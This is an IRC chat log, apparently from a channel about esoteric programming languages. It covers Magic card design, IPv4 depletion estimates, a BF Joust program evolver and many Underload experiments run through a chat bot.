08:28:07 <zzo38> One possibly reason for this strange things is that they took the program from another company where the employees filled in everything themself and then made a list of it.
08:28:28 <quintopia> that's what i figured
08:29:06 <zzo38> Also, this form is not meant for anything other than vacation, so the reason list is irrelevant.
08:29:25 -!- nddrylliog_ has changed nick to nddrylliog.
08:29:57 <quintopia> right
08:49:00 -!- nddrylliog has quit (Ping timeout: 240 seconds).
08:55:38 <zzo38> I have experimented once with having cards in Magic: the Gathering that has "lose priority" as part of its cost.
08:59:03 <quintopia> i played MTG once
08:59:13 <quintopia> you wouldn't happen to want a deck would you?
08:59:44 <quintopia> I'll sell you one including a "Mercenary Knight" and a "Faerie Conclave" for $8.25 plus shipping
08:59:51 <quintopia> (not sure what that is in CAD)
09:01:42 <zzo38> I want not any deck. I prefer to play only Limited.
09:02:27 <zzo38> What can you figure out from this? ~ has "Lose priority: This ability does nothing. Any player may play this ability." Whenever that ability would resolve (if this ability is still in play), instead the ability's controller selects one of his/her opponents, and that player wins the game. If that player would win the game in this way, instead the ability's controller wins the game.
09:05:48 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
09:06:23 <quintopia> sounds complicated
09:06:38 <quintopia> i don't know enough MTG to figure out why it would be useful though
09:08:51 <zzo38> Actually it is my attempt at a "fixed" version of the following (also non-existent) card: {0}: You win. Any player can play this ability.
09:09:44 <zzo38> It is vastly overpowered, which is why I have attempted to correct it.
09:10:09 <quintopia> lol
09:17:10 <zzo38> I have once in a tournament (a booster draft) finished in second place, but only because my score was not computed correctly. I should have got first place. My opponent quit in the middle of the second game of a match, because he did not like the rules. I was arguing with him about what the rules are, so he called a judge and the judge agreed I was correct, so he quit.
09:19:10 <zzo38> However, that was the only tournament in which I did not finish in last place.
09:20:05 <quintopia> HA
09:23:07 -!- Lymia_ has joined.
09:23:15 -!- Lymia has quit (Disconnected by services).
09:23:15 -!- Lymia_ has changed nick to Lymia.
09:23:16 -!- Lymia has quit (Changing host).
09:23:16 -!- Lymia has joined.
09:24:33 -!- asiekierka has quit (Ping timeout: 250 seconds).
09:31:13 -!- kar8nga has joined.
09:39:11 <Ilari> Apnic extended statistics file has 3.121612548828125 blocks free... But apparently APNIC will also get 1.54 blocks from VARIOUS (not yet shown in the stats). If there won't be panic, that is enough to push APNIC depletion to end of June (at 1 block per month rate)...
09:39:21 -!- MigoMipo has joined.
09:39:47 <quintopia> is it purely coincidence that panic is an anagram of apnic?
09:41:09 <Ilari> I think APNIC is the one most vulernable to panic, but the others in big three are by no means invulernable. Looks like the other two won't get very much, at least until big three deplete.
09:42:52 <Ilari> Counting blocks from VARIOUS, APNIC has something like 4.67 blocsk left (not counting the reserved block).
09:50:00 <Ilari> Seems like counting VARIOUS but not counting reserved blocks, APNIC has the largest pool.
09:50:22 <quintopia> and the overwhelmingly fastest depletion rate
09:51:11 <Ilari> APNIC allocates about half of all the addresses allocated (and the ratio is increasing).
09:53:17 <Ilari> Hmm... Maybe "% allocated" vs. "% time" curves for last 13 whole months for all RIRs would tell something...
09:53:38 -!- hagb4rd has quit (Ping timeout: 240 seconds).
09:53:39 <Ilari> (in practicular, how linear those curves are).
09:55:42 <Lymia> :>
09:55:48 <Lymia> Framework for my BF Joust evolver is done.
09:55:54 <Lymia> All I need to do now is to implement the mutation routine.
09:56:38 <Lymia> !bfjoust silly -+---<-+->+->---+><<-+>+-<>-+>
09:57:52 <EgoBot> Score for Lymia_silly: 0.0
09:58:36 <Ilari> Well, actually I'll pick 2010-01-01, 2011-02-04 as that interval has 400 days...
09:58:51 <quintopia> is that something your prog generated Lymia?
09:59:14 <Lymia> Yes.
09:59:17 <Lymia> It's completely random.
09:59:17 <Lymia> =p
09:59:32 <Lymia> Again.
09:59:33 <quintopia> mm
09:59:36 <Lymia> I need to implement mutation.
09:59:59 <Lymia> This one got through by virtue of dying the slowest.
10:00:00 <Lymia> =p
10:00:45 <oerjan> Lymia: i blathered on a bit above about why (a{b}c{d}e)%n doesn't make much sense, see logs
10:01:20 <Lymia> Ah.
10:02:04 <oerjan> (basically if c matches internally, just use (a{b(c)*nd}e)%n. otherwise, brackets in a c and e might not match after expansion the other brackets that they visually match before.)
10:04:36 <Lymia> Bluh.
10:04:40 <Lymia> Two last things I need to implement.
10:04:53 <Lymia> Reading BF Joust programs to internal representation, and mutation.
10:04:53 <Lymia> :s
10:04:56 <Lymia> It's 4:22AM
10:06:28 <quintopia> oh. you're central time. a midwesterner?
10:06:40 <Lymia> Yes.
10:07:10 <quintopia> when did you wake up yesterday? :P
10:07:23 <Lymia> Noon
10:07:24 <Lymia> =p
10:07:27 <Lymia> Urg.
10:07:29 <quintopia> me too
10:07:33 <quintopia> and i drank so much coffee
10:07:40 <Lymia> 147 line Scala program just generated 42 freaking classes.
10:07:46 <quintopia> wat
10:07:57 <Lymia> quintopia, Scala compiles to JVM bytecode.
10:08:08 <Lymia> Appearently each lambda expression is compiled to it's own class.
10:08:08 <Lymia> :s
10:08:14 <quintopia> yes
10:08:20 <quintopia> wat=that's ridiculous
10:08:41 <Lymia> Each "object XXX" is compiled into a "XXX.class" and a "XXX$.class"
10:09:06 <quintopia> well, each one is small in terms of total bytecodes i hope
10:13:54 <quintopia> Lymia: and why can't I PM you?
10:19:55 <oerjan> hm you are both registered, so it's not that
10:23:42 <Ilari> Picking last two months, now the rate seems to be something like 1.1x/8 a month. December was already quite active and seems January was even more so...
10:26:54 <Ilari> At rate of 1.3x/8 a month, the pool would last only about 3.6 months (end of May).
10:29:10 <Ilari> Judging from forward projection lengths, real problems with IPv4 depletion start around end of the year...
10:30:39 -!- zzo38 has quit (Quit: EOT).
10:30:41 <Ilari> As that's when ISPs start to run out of addresses, unable to get more.
10:40:57 -!- Phantom_Hoover has joined.
10:40:58 -!- FireFly has joined.
10:41:54 <quintopia> as long as they don't start before world ipv6 day
10:41:57 <quintopia> that's the important thing
10:43:05 -!- Phantom__Hoover has joined.
10:46:58 -!- Phantom_Hoover has quit (Ping timeout: 265 seconds).
10:51:18 -!- BeholdMyGlory has joined.
10:53:49 <Ilari> And that really means major problems of class "better have IPv6 widely deployed before then".
10:56:08 <Lymia> Heh.
10:56:26 <Lymia> Looks like there arn't any crash bugs in my BF Joust evolver...
10:56:33 <Lymia> I'm going to let it run for a night and see what comes out.
11:07:31 <Lymia> !bfjoust completely_random .>[[()*7].][(()*5)*3-[[]<[]()*7-<]]>[>.>>.][>()*8<]+(+->+[+[]()*12(()*5-[(.[[[[[][]](.)*1>][-][]]]<+)*3[]((()*1[]>)*1)*9+()*3[]][[]+[>][]>]()*2>+-)*3]>)*6-.+.++(()*9[>][()*4.<[]-])*4
11:09:37 <EgoBot> Score for Lymia_completely_random: 0.0
11:10:26 -!- Zuu_ has changed nick to Zuu.
11:14:50 <quintopia> lul
11:17:14 <Lymia> (If you have to ask, I did that to make sure that there were no bugs in the muation engine)
11:18:00 <Lymia> (Well... no obvious bugs...)
11:18:20 <Lymia> (I'll be pissed if I find the evolver crashed when I wake up)
11:18:28 <Lymia> Night!
11:25:18 -!- asiekierka has joined.
11:27:00 -!- fxkr has quit (Quit: kernel update).
11:29:22 <Phantom__Hoover> http://i.imgur.com/1N8AH.png
11:29:34 <Phantom__Hoover> CONCLUSION: Patrick Stewart does not age.
11:30:03 -!- fxkr has joined.
11:47:04 <oerjan> ^ul (f)(c)a(~)*~a(~^)*a(~^)*SS
11:47:04 <fungot> ((f)~^)~^(c)~
11:48:39 <oerjan> ^ul (f)(c)a(~)*~a(~^)*a(~^)**SS
11:48:39 <fungot> (c)~((f)~^)~^ ...out of stack!
11:49:48 -!- Cheery has joined.
11:57:38 * Phantom__Hoover welcomes Cheery on general principles
11:58:08 -!- MigoMipo has quit (Read error: Connection reset by peer).
11:58:54 <oerjan> ^ul (SS)(e2)(a(~)*~a(~^)*a(~^)**)~*a(~a)~(*~^)**~^
11:58:54 <fungot> ~a(a(~)*~a(~^)*a(~^)**e2)*~^ ...out of stack!
11:59:05 <Phantom__Hoover> THINGS THAT ANNOY ME PART 76:
11:59:16 <Phantom__Hoover> Why doesn't dc have a pop instruction?
12:00:24 <Phantom__Hoover> It is literally impossible to remove the top of the stack without either designating a bit bucket somewhere or using some witchcraft with the conditionals.
12:00:56 <oerjan> well i assume designating a bit bucket isn't _that_ awkward...
12:01:13 <oerjan> given 256 registers iirc
12:01:21 <Phantom__Hoover> d!=r should actually work, come to think of it.
12:01:50 <Phantom__Hoover> Since the conditional instructions are the only ones which remove an item from the stack without any side effects, assuming they're false.
12:03:48 -!- sebbu has joined.
12:06:41 <oerjan> ^ul (e1)(e2)a(~)~(~^)**a(a)~(*)**a~*SS
12:06:41 <fungot> (a(~(e2)~^)*)e1 ...out of stack!
12:07:14 -!- sebbu2 has quit (Ping timeout: 272 seconds).
12:08:00 <oerjan> ^ul (e1)(e2)a(~)~(~^)**a(a)~(*)**~*SS
12:08:00 <fungot> a(~(e2)~^)*e1 ...out of stack!
12:21:51 -!- sebbu has quit (Read error: Connection reset by peer).
12:22:17 -!- sebbu has joined.
12:47:56 -!- Phantom__Hoover has quit (Ping timeout: 240 seconds).
12:50:24 <oerjan> ^ul (z)(c)a(~)*~a(~^)*a:(y)*a(~^)*a(*)*~*^aSaS
12:50:24 <fungot> ((z)~^)((c)~(((z)~^)y)~^)
12:51:08 <oerjan> ^ul (z)(c)a(~)*~a(~^)*a:(y)*a(~^)*a(*)*~*^aSaSaS
12:51:08 <fungot> ((z)~^)((c)~(((z)~^)y)~^) ...out of stack!
13:08:51 <oerjan> ^ul (y)(c)~a(a(~)*~a(~^)*a:)~(*a(~^)*a(*)*~*^x)**a(~a)~(*~^)**~aSaSaS
13:08:51 <fungot> (c)(~a(a(~)*~a(~^)*a:(y)*a(~^)*a(*)*~*^x)*~^) ...out of stack!
13:12:26 -!- nddrylliog has joined.
13:12:50 <oerjan> ^ul (y)((aSaS)~((z)~^)~^)~a(a(~)*~a(~^)*a:)~(*a(~^)*a(*)*~*^x)**a(~a)~(*~^)**~^
13:12:50 <fungot> ...bad insn!
13:13:08 <nddrylliog> Underload <3
13:13:29 <oerjan> now why did it do that
13:14:59 <oerjan> ^ul (y)(aSaS)~a(a(~)*~a(~^)*a:)~(*a(~^)*a(*)*~*^x)**a(~a)~(*~^)**~^
13:14:59 <fungot> (~a(a(~)*~a(~^)*a:(y)*a(~^)*a(*)*~*^x)*~^) ...out of stack!
13:16:14 <oerjan> hm that looks correct
13:18:14 <oerjan> ^ul (y)((aSaS)~((z)~^)~^)~a(a(~)*~a(~^)*a:)~(*a(~^)*a(*)*~*^x)**a(~a)~(*~^)**~^
13:18:14 <fungot> ...bad insn!
13:18:48 <oerjan> ^ul (y)((aSaS)~(aSaS(z)~^)~^)~a(a(~)*~a(~^)*a:)~(*a(~^)*a(*)*~*^x)**a(~a)~(*~^)**~^
13:18:48 <fungot> ((aSaS)a(~)*~a(~^)*a:(y)*a(~^)*a(*)*~*^x) ...out of stack!
13:19:20 <nddrylliog> it would be nice if fungot pointed out exactly where the error lied
13:19:21 <fungot> nddrylliog: i couldn't find anything for puffs. ( i use that :) what is a lambda function, but i'm also interested in distributed systems in the presence of call/ cc,
13:19:44 <nddrylliog> fungot: interesting random semi-believable text generation algorithm you have there
13:19:45 <oerjan> well i could easily add some printing
13:19:45 <fungot> nddrylliog: printf is even more powerfull than this .el? (: i'm used to clos in scheme,
13:20:12 <oerjan> fungot is eerily clairvoyant
13:20:12 <fungot> oerjan: no one answered
13:22:20 <oerjan> ^ul (z)(aSaS)a(~)*~a(~^)*a:(y)*a(~^)*a(*)*~*^x
13:22:20 <fungot> ...bad insn!
13:22:35 <oerjan> that's what it should pass through
13:23:01 <oerjan> oh wait duh
13:23:45 <oerjan> it's entirely correct, it should try to run the x. my fault for putting a dummy variable there :D
13:24:02 <oerjan> ^ul (z)(aSaS)a(~)*~a(~^)*a:(y)*a(~^)*a(*)*~*^aSaSx
13:24:02 <fungot> ((z)~^)((aSaS)~(((z)~^)y)~^) ...bad insn!
13:24:24 <oerjan> ...that's not expected
13:24:32 <oerjan> oh wait
13:24:54 <oerjan> i just didn't exhaust the stack
13:35:10 -!- kar8nga has quit (Remote host closed the connection).
13:36:41 -!- Sgeo__ has joined.
13:38:14 <oerjan> ^ul (aSaSaSx)(((c)~((z)~^)~^)~((y)~^)~^)~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^
13:38:14 <fungot> ((z)~^)((c)~(((z)~^)y)~^) ...out of stack!
13:39:21 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
13:45:21 -!- HackEgo has quit (Ping timeout: 255 seconds).
13:47:09 -!- EgoBot has quit (Ping timeout: 255 seconds).
13:47:09 -!- lambdabot has quit (Ping timeout: 255 seconds).
13:47:38 -!- EgoBot has joined.
13:50:44 <oerjan> ^ul (!)(a(~((~a(^)*~^)~^)~^)*(~a(~a~*((H)S)~*^)*~^)~^
13:50:44 <fungot> ...unterminated (!
13:50:52 <oerjan> huh
13:51:30 -!- hagb4rd has joined.
13:51:41 <oerjan> ^ul (!)a(~((~a(^)*~^)~^)~^)*(~a(~a~*((H)S)~*^)*~^)~^
13:51:41 <fungot> H
13:51:43 <oerjan> yay
13:55:34 -!- HackEgo has joined.
13:58:45 -!- Asphyxia^T_T has joined.
13:59:13 <oerjan> ^ul (x)((aSaS)~((y)~^)~^)~a(~!)~(~^)**a(~a)~(*~^)**~^
13:59:13 <fungot> (x) ...out of stack!
14:02:46 -!- hagb4rd has quit (Ping timeout: 240 seconds).
14:09:51 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****^(Boo!)~^
14:09:52 <fungot> ...out of stack!
14:09:57 <oerjan> eek
14:10:14 <oerjan> ^ul (:^):^
14:10:15 <fungot> ...out of time!
14:10:39 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****^aSaS
14:10:39 <fungot> (a(~(a(~((~a(^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*(~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*(~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^) ...out of stack!
14:11:52 <oerjan> ^ul ((~a(~a~*((*)S)~*^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****^(Boo!)~^
14:11:53 <fungot> ...out of stack!
14:12:03 <oerjan> ...oh wait
14:14:25 <oerjan> ^ul ((~a(~a~*((*)S)~*^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****aSaS
14:14:25 <fungot> (a(~)~(~^)**a(a)~(*)**~*~a(~)~(~^)**a(a)~(*)**~*:a(~)~(~^)**a(a)~(*)**~*)((~a(~a~*((*)S)~*^)~*^)~^)
14:15:55 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****
14:16:02 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****^
14:16:20 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****^aS
14:16:20 <fungot> (a(~(a(~((~a(^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*(~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*(~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)
14:16:32 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****^aSaS
14:16:32 <fungot> (a(~(a(~((~a(^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*(~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*a(~((~a(^)~*^)~^)~^)*(~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^) ...out of stack!
14:17:15 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)~(a(~)~(~^)**a(a)~(*)**~*):(~)~:(:)~****^(!)~^
14:17:15 <fungot> ...out of stack!
14:18:22 -!- Asphyxia^T_T has left (?).
14:18:50 -!- nddrylliog has left (?).
14:19:16 -!- Lymia has quit (Read error: Connection reset by peer).
14:19:23 <oerjan> ^ul (~a(~a~*((H)S)~*^)*~^):a(~)~(~^)**a(a)~(*)**~*(!)~^
14:19:23 <fungot> ...out of stack!
14:19:30 <oerjan> ^ul (~a(~a~*((H)S)~*^)*~^):a(~)~(~^)**a(a)~(*)**~*
14:19:36 <oerjan> ^ul (~a(~a~*((H)S)~*^)*~^):a(~)~(~^)**a(a)~(*)**~*aSaS
14:19:37 <fungot> (a(~(~a(~a~*((H)S)~*^)*~^)~^)*~a(~a~*((H)S)~*^)*~^) ...out of stack!
14:19:44 -!- Lymia has joined.
14:21:16 <oerjan> ^ul (e1)(e2)a(~)~(~^)**a(a)~(*)**~*aSaS
14:21:16 <fungot> (a(~(e2)~^)*e1) ...out of stack!
14:22:17 <oerjan> ^ul ((~a~*((H)S)~*^)~^):a(~)~(~^)**a(a)~(*)**~*aSaS
14:22:17 <fungot> (a(~((~a~*((H)S)~*^)~^)~^)*(~a~*((H)S)~*^)~^) ...out of stack!
14:25:20 <oerjan> ^ul ((~a(~a~*((H)S)~*^)~*^)~^):a(~)~(~^)**a(a)~(*)**~*aSaS
14:25:20 <fungot> (a(~((~a(~a~*((H)S)~*^)~*^)~^)~^)*(~a(~a~*((H)S)~*^)~*^)~^) ...out of stack!
14:25:51 <oerjan> ^ul ((~a(~a~*((H)S)~*^)~*^)~^):a(~)~(~^)**a(a)~(*)**~*(!)~^
14:25:51 <fungot> ...out of stack!
14:27:36 <oerjan> oh
14:27:42 <oerjan> ^ul ((~a(~a~*((H)S)~*^)*~^)~^):a(~)~(~^)**a(a)~(*)**~*(!)~^
14:27:42 <fungot> H
14:29:23 -!- Lymia_ has joined.
14:31:29 -!- Lymia has quit (Ping timeout: 240 seconds).
14:33:49 <oerjan> ^ul (x):(y)~(z):(~)~:(:)~****aSaS
14:33:49 <fungot> (z~z:z)(x)
14:34:06 <oerjan> ^ul (x):(y)~(z):(~)~:(:)~****aSaSaSaSaS
14:34:06 <fungot> (z~z:z)(x)(y)(x) ...out of stack!
14:34:57 <oerjan> ^ul (s):(i)~(*a):(~)~:(:)~****^
14:35:04 <oerjan> ^ul (s):(i)~(*a):(~)~:(:)~****^aSaS
14:35:04 <fungot> ((((is)s)((is)s))) ...out of stack!
14:35:21 <oerjan> ^ul (i):(s)~(*a):(~)~:(:)~****^aSaS
14:35:21 <fungot> ((((si)i)((si)i))) ...out of stack!
14:35:49 -!- zeotrope has joined.
14:37:05 -!- Lymia_ has quit (Ping timeout: 240 seconds).
14:39:49 <oerjan> ^ul ((~a(~a~*((y)S)~*^)*~^)~^)((~a(~a~*((e)S)~*^)*~^)~^)((~a(~a~*((H)S)~*^)*~^)~^)(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)(~a(~)~(~^)**a(a)~(*)**~*)::**^(!)~^
14:39:49 <fungot> ...out of stack!
14:42:23 <oerjan> ^ul ((~a(~a~*((i)S)~*^)*~^)~^)((~a(~a~*((a)S)~*^)*~^)~^)((~a(~a~*((H)S)~*^)*~^)~^)(~a(~!)~(~^)**a(~a)~(*~^)**~^)(~a(~)~(~^)**a(a)~(*)**~*)::**^(!)~^
14:42:23 <fungot> ...out of stack!
14:42:27 <oerjan> ff
14:42:54 <oerjan> oh wait
14:44:53 <oerjan> ^ul ((~a(~a~*((i)S)~*^)*~^)~^)((~a(~a~*((a)S)~*^)*~^)~^)((~a(~a~*((H)S)~*^)*~^)~^)((~a(~a(~!)~(~^)**a(~a)~(*~^)**~^)*~^)~^)(~a(~)~(~^)**a(a)~(*)**~*)::**^(!)~^
14:44:53 <fungot> H
14:45:57 <oerjan> ^ul ((~a(~a~*((y)S)~*^)*~^)~^)((~a(~a~*((e)S)~*^)*~^)~^)((~a(~a~*((H)S)~*^)*~^)~^)((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)*~^))(~a(~)~(~^)**a(a)~(*)**~*)::**^(!)~^
14:46:04 <oerjan> argh
14:47:08 -!- Lymia has joined.
14:47:22 <oerjan> ^ul ((~a(~a~*((y)S)~*^)*~^)~^)((~a(~a~*((e)S)~*^)*~^)~^)((~a(~a~*((H)S)~*^)*~^)~^)((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)*~^)~^)(~a(~)~(~^)**a(a)~(*)**~*)::**^(!)~^
14:47:22 <fungot> Hey
14:47:41 <oerjan> ^ul ((~a(~a~*((y)S)~*^)*~^)~^)((~a(~a~*((e)S)~*^)*~^)~^)((~a(~a~*((H)S)~*^)*~^)~^)((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)*~^)~^)(~a(~)~(~^)**a(a)~(*)**~*)::**^(aSaS)~^
14:47:41 <fungot> Hey(~a(~a~*((y)S)~*^)*~^) ...out of stack!
14:49:19 -!- fxkr has quit (Quit: leaving).
14:52:50 -!- MigoMipo has joined.
14:56:20 <oerjan> ^ul ((~a(^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)(a(~)~(~^)**a(a)~(*)**~*):(~)~*:*~(:)~**^(Boo!)~^
14:56:20 <fungot> ...out of stack!
14:56:23 <oerjan> ff
14:57:53 -!- asiekierka has quit (Ping timeout: 276 seconds).
14:58:43 -!- jix has quit (Ping timeout: 264 seconds).
15:02:35 <oerjan> ^ul ((~a(~a~*((y)S)~*^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)~*^)~^)(a(~)~(~^)**a(a)~(*)**~*):(~)~*:*~(:)~**^(Boo!)~^
15:02:35 <fungot> ...out of stack!
15:04:54 <oerjan> ^ul ((~a(~a~*((*)S)~*^)~*^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)*~^)~^)(a(~)~(~^)**a(a)~(*)**~*):(~)~*:*~(:)~**^(Boo!)~^
15:04:55 <fungot> ...out of stack!
15:06:39 <oerjan> ^ul ((~a(~a~*((*)S)~*^)*~^)~^):((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)*~^)~^)(a(~)~(~^)**a(a)~(*)**~*):(~)~*:*~(:)~**^(Boo!)~^
15:06:40 <fungot> ************************************************************************************************************************************************************************************************************************************************************************************************************************************ ...too much output!
15:06:45 <oerjan> finally
15:12:47 <Vorpal> oerjan, what are you doing?
15:14:10 <kfr> Vorpal: The usual, abusing #esoteric as his personal REPL
15:14:21 <oerjan> embedding unlambda in underload
15:14:42 <Vorpal> oerjan, hah
15:15:59 <oerjan> ^ul (aSaS)(c):a~(!)~*a(~a)~(*~^)**a*~*^
15:16:00 <fungot> (~a(!c)*~^)(c)
15:16:08 <oerjan> ^ul (aSaSaS)(c):a~(!)~*a(~a)~(*~^)**a*~*^
15:16:08 <fungot> (~a(!c)*~^)(c) ...out of stack!
15:19:37 -!- Phantom__Hoover has joined.
15:31:14 -!- iconmaster has joined.
15:37:07 <Phantom__Hoover> http://programmers.stackexchange.com/questions/3233/why-do-programmers-write-applications-and-then-make-them-free
15:37:10 <Phantom__Hoover> Words fail me.
15:47:04 -!- Lymia_ has joined.
15:47:57 <Phantom__Hoover> http://www.reddit.com/r/math/comments/fg092/number_of_factorizations_of_n/
15:48:11 <Phantom__Hoover> Surely this is just the partition number of the prime factors?
15:49:14 <Phantom__Hoover> i.e. if n has k prime factors, it can be factorised in B_n ways.
15:49:41 -!- Behold has joined.
15:49:51 -!- Lymia has quit (Ping timeout: 240 seconds).
15:50:32 -!- jix has joined.
15:53:09 -!- BeholdMyGlory has quit (Ping timeout: 260 seconds).
15:57:47 <oerjan> Phantom__Hoover: no, some of those might give identical factorizations
15:57:59 <Phantom__Hoover> oerjan, oh, yes.
16:00:13 -!- impomatic has joined.
16:00:16 <impomatic> Hi :-)
16:00:26 <oerjan> hello
16:00:54 -!- Slereah has quit (Ping timeout: 276 seconds).
16:01:14 <impomatic> Has anyone heard of HDNA? It an esoteric language from 1982. I can't find much info about it :-(
16:02:09 <Phantom__Hoover> Oh god, they're making an Atlas Shrugged film.
16:02:41 <Phantom__Hoover> I suppose it'll be good for crowd control.
16:03:03 <iconmaster> impomatic: What was the lang like? Sounds fun.
16:04:07 <iconmaster> impomatic: I see why it's hard to find- I Googled it and the page is swamped with a Sony product.
16:04:40 -!- elliott has joined.
16:04:41 -!- Slereah has joined.
16:04:50 <iconmaster> Elliott! Hello.
16:05:22 <Phantom__Hoover> WHO IS THIS MASTER OF ICONS
16:05:41 <elliott> an expert in Tetris hermeneutics
16:05:46 <elliott> obviously
16:05:47 <elliott> hi
16:06:12 <iconmaster> lol, hi.
16:06:22 <elliott> oerjan: ping
16:06:26 <oerjan> pong
16:06:39 <elliott> olsner: btw i realised that (catbus a b c d) = (catbus 'a | b | c | d')
16:06:42 <iconmaster> Phantom__Hoover: I am the ruler of your little icons on your desktop.
16:06:49 <elliott> and i think accidentally found the best programming paradigm in the process
16:07:00 <impomatic> iconmaster: Basically instructions in the language are pairs of characters which can modify / copy other pairs of characters. I tried to program something in it a long time ago but failed. :-(
16:07:08 <Phantom__Hoover> iconmaster, that's not a very large domain.
16:07:21 <olsner> elliott: indeed
16:07:27 <Phantom__Hoover> elliott, what is the best programming paradigm?
16:07:31 -!- asiekierka has joined.
16:07:40 <iconmaster> Phantom__Hoover: I rule my OWN icons too, and my desktop is kinda cluttered...
16:07:42 <impomatic> The interpreter I had for HDNA was written in BASIC.
16:07:50 <elliott> Phantom__Hoover: the one where one would naturally invent the operator "fix (f.)", not "fix f"
16:08:07 <elliott> :t fix (("y"++).)
16:08:24 <elliott> oerjan: I have made an excellent Underload discovery!
16:08:30 <elliott> lambdabot?
16:08:32 <elliott> oh dear
16:08:38 <oerjan> elliott: hm?
16:08:38 <Phantom__Hoover> Noooooooo
16:08:40 <iconmaster> elliott: pray, tell!
16:09:06 <olsner> what have we done to deserve this? lambdabot!?
16:09:13 <iconmaster> od, dear! where is Lambabot?
16:09:20 * oerjan wrote up on the wiki how to do abstraction elimination in underload
16:09:21 <Phantom__Hoover> He's not in #haskell either!
16:09:30 <iconmaster> I ate him. SOrry guys, i was hungry.
16:09:32 <elliott> oerjan: ((a)(b)(c)(d))(*)*^(::**)(~a*)~^()~^
16:09:35 <olsner> Phantom__Hoover: *she*
16:09:38 <elliott> oerjan: this results in ((a)(b)(cd))
16:09:43 <oerjan> O KAY
16:09:48 <elliott> oerjan: hey
